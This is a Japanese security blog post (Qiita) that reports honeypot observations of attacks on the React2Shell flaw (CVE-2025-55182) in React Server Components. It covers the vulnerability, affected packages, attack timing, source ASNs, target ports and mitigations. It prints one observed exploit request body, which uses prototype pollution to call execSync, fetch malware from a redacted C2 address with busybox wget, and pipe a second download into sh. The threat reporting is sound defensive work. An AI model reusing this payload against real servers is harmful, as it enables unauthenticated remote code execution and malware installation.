3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ハニーポット観測:React2Shellを標的とするパケットの観測状況

Posted at

はじめに

三菱電機の山元です。
弊社ハニーポットにおいて、React Server Components(RSC)における脆弱性であるReact2Shell(CVE-2025-551821)を標的とする攻撃を観測しました。
本攻撃は脆弱性の公開後間もなく攻撃が開始され、その攻撃の容易さや、攻撃による被害から早急な対応が必要となっております。
今回はReact2Shellへの注意喚起を目的として、弊社における観測状況を共有します。

脆弱性の概要

React2Shellは2025/12/03にNVD(National Vulnerability Database)上で公開された、RSCにおいて信頼できないデータをデシリアライズすることに起因する脆弱性です。攻撃者はインターネット経由で本脆弱性を悪用したリクエストを単体で送信するだけで、脆弱性の存在するサーバにて、認証無しで任意のコードを実行できます。このような攻撃の容易さや、攻撃によって受ける被害より、CVSS(Common Vulnerability Scoring System)スコアは最高値の10となっています。
また、本脆弱性はRSCだけでなく、RSCを利用するNext.jsといったフレームワークも影響を受けます。2024年のJavaScriptに関する年次調査2によると、ReactやNext.jsはフロントエンドフレームワーク及びメタフレームワークとして使用率1位となっています。使用率が高いフレームワークにおいて実行が容易な脆弱性が発見されたことから、その影響範囲は広く、攻撃による被害も深刻になると考えます。このような状況を受けて、2025/12/05にJPCERT/CCから、2025/12/09にIPAといった公的機関より注意喚起34が発表されています。
本脆弱性の攻撃者による悪用は活発に行われており、NVDによる脆弱性の公開後数時間程度で悪用が始まったという情報5があります。また、弊社のハニーポットでも、NVDによる公開の3日後に、本脆弱性を悪用するパケットを観測しています。

脆弱性の影響を受けるソフトウェア

JavaScriptライブラリ「React」のサーバ機能に関するコンポーネントであるRSCにおいて、下記パッケージのバージョン19.0.0, 19.1.0, 19.1.1, 19.2.0が影響を受けます。

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

また、例えばNext.jsなど、RSCをバンドルするソフトウェアも影響を受けます。

攻撃フロー

前提として本脆弱性は、RSCを利用するサーバが受信したペイロードを解析する方法によって発生します。RSCは「Flight」と呼ばれる独自の通信方式で、クライアントからサーバへ、どの画面部品を表示するかの情報を送信します。サーバはその情報を受け取り、処理結果を返却します。簡単な攻撃フローは下記の通りです。

  1. クライアントとなる攻撃者は、脆弱性を悪用するコードを記載した、細工済みのパケットをサーバに送信します。
  2. サーバがパケットを受信すると、パケットに記載のデータをデシリアライズと呼ばれる処理で読み込みます。この際に送信元の正当性やデータの構造を十分に検証しません。そのため、攻撃者が細工したパケットをサーバは正しいデータとして処理を開始します。
  3. 攻撃者が記載した任意のコードが実行されます。任意コード実行までの具体的な攻撃チェーンはTrend Micro社発表の文献6などをご参照ください。

観測した攻撃パケットの内容

今回弊社のハニーポットで観測した攻撃パケットに記載のリクエストボディの例を紹介します。観測したパケットでは、弊社のハニーポットのIPアドレスをURI(Uniform Resource Identifier)として指定した上で、コマンドをリクエストボディに記載していました。リクエストボディにはバリエーションがあり、攻撃者の目的に合わせたコマンドをリクエストボディに記載していると見られます。今回は整形・省略したリクエストボディを一例のみ紹介します。

Content-Disposition: form-data; name="0"
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;busybox wget http://{C2サーバと見られるIPアドレス}/nuts/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q http://{C2サーバと見られるIPアドレス}/nuts/bolts -O-|sh)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

上述のリクエストボディを含むパケットを受信すると、脆弱性の存在するRSCを利用するサーバでは、下記の処理が実行されます。

  1. busybox wget http://{C2(Command and Control)サーバと見られるIPアドレス}/nuts/x86 を実行し、マルウェアと見られるファイルを取得
  2. 取得ファイル x86 に対して chmod 777 を実行し、実行権限を付与
  3. x86にコマンドライン引数「reactOnMynuts」を指定して実行
  4. busybox wget -q http://{C2サーバと見られるIPアドレス}/nuts/bolts -O-|shを実行し、ファイルを更に取得後、shにパイプして実行

今回の例のように、本脆弱性を放置すると、攻撃者が記載したコマンドを実行される可能性があるため、早急な対応が必要です。

攻撃パケットの観測状況

本脆弱性を標的とする攻撃は、クラウド版ハニーポットでは2025/12/06 10:47:27に初観測しました。本記事では、2025/12/15 23:59:59までの観測状況のグラフを下記に示します。グラフの縦軸は観測数、横軸は観測日時です。

React2Shell観測状況.png

本脆弱性を悪用するパケットは、脆弱性公開の3日後である12/6より観測しています。脆弱性公開から攻撃開始までの時間が短く、攻撃者はサーバに存在する脆弱性が修正される前に、迅速に攻撃する狙いがあると推測します。
攻撃パケットの送信元のASN(Autonomous System Number:インターネット上でネットワークを識別するための番号。プロバイダや大規模なネットワークを管理する組織に割り当てられる)は計12件であり、複数の組織/人物による悪用が実施されています。本攻撃は、仮想プライベートサーバ(VPS)サービスの提供業者のASNなどを送信元としており、VPSサービスの契約者による攻撃と推測されます。本例のように、クラウドやレンタルサーバを利用した攻撃の例は、弊社のハニーポットにて継続的に多数観測しています。

次に、宛先ポート番号の件数を積み上げグラフ化し、下記に示します。グラフの縦軸は攻撃パケットの観測数、横軸は観測日時として、攻撃パケットの宛先ポート番号別に色分けしています。

React2Shell観測状況_ポート番号.png

宛先ポート番号は、一般的なWebサーバが利用する80(HTTP)や443(HTTPS)に加えて、Node.jsやReactの開発において、デフォルトポートとして使用される3000などが指定されていました。

脆弱性の公開後間もなく実施される攻撃への対応

今回のように、悪用が簡単かつ利用価値の高い脆弱性は、公開後に即座に利用される場合があります。脆弱性に対して、アドバイザリなどに従った早急なアップデートや回避策の実施が必要です。特に今回のように緊急性の高い脆弱性については、SBOM(Software Bill Of Materials)を活用した脆弱性の管理体制の構築や、24時間365日の情報収集体制の確立といった、迅速な脆弱性の評価と影響範囲の特定が可能な体制の構築が必要と考えます。その上で、緊急パッチの適用、設定変更、ネットワーク分離、サービスの一時休止など、脆弱性への対応方針を事前に策定し、実行できる体制を構築することが重要です。また、S/Wやシステムなどの振る舞いによる攻撃の検知が可能なEDRといった、セキュリティソリューションの導入も対策となると考えます。

弊社では今後もQiitaを通じて、継続的にハニーポットを用いた攻撃パケットの観測/分析結果をご報告します。

  1. NIST, “ NVD - CVE-2025-55182”, https://nvd.nist.gov/vuln/detail/CVE-2025-55182

  2. Devographics, “State of JavaScript 2024”, https://2024.stateofjs.com/ja-JP/

  3. JPCERT/CC, “React Server Componentsの脆弱性(CVE-2025-55182)について”, https://www.jpcert.or.jp/newsflash/2025120501.html

  4. IPA, “ React Server Componentsにおける脆弱性について(CVE-2025-55182)”, https://www.ipa.go.jp/security/security-alert/2025/alert20251209.html

  5. Amazon Web Services, “React2Shell 脆弱性 (CVE-2025-55182) に対する中国関連脅威アクターの活発な悪用活動”, https://aws.amazon.com/jp/blogs/news/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/

  6. Trend Micro, “ React2Shell「CVE-2025-55182」の分析、PoCを巡る混乱と悪用の広がり”, https://www.trendmicro.com/ja_jp/research/25/l/cve-2025-55182-analysis-poc-itw.html

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?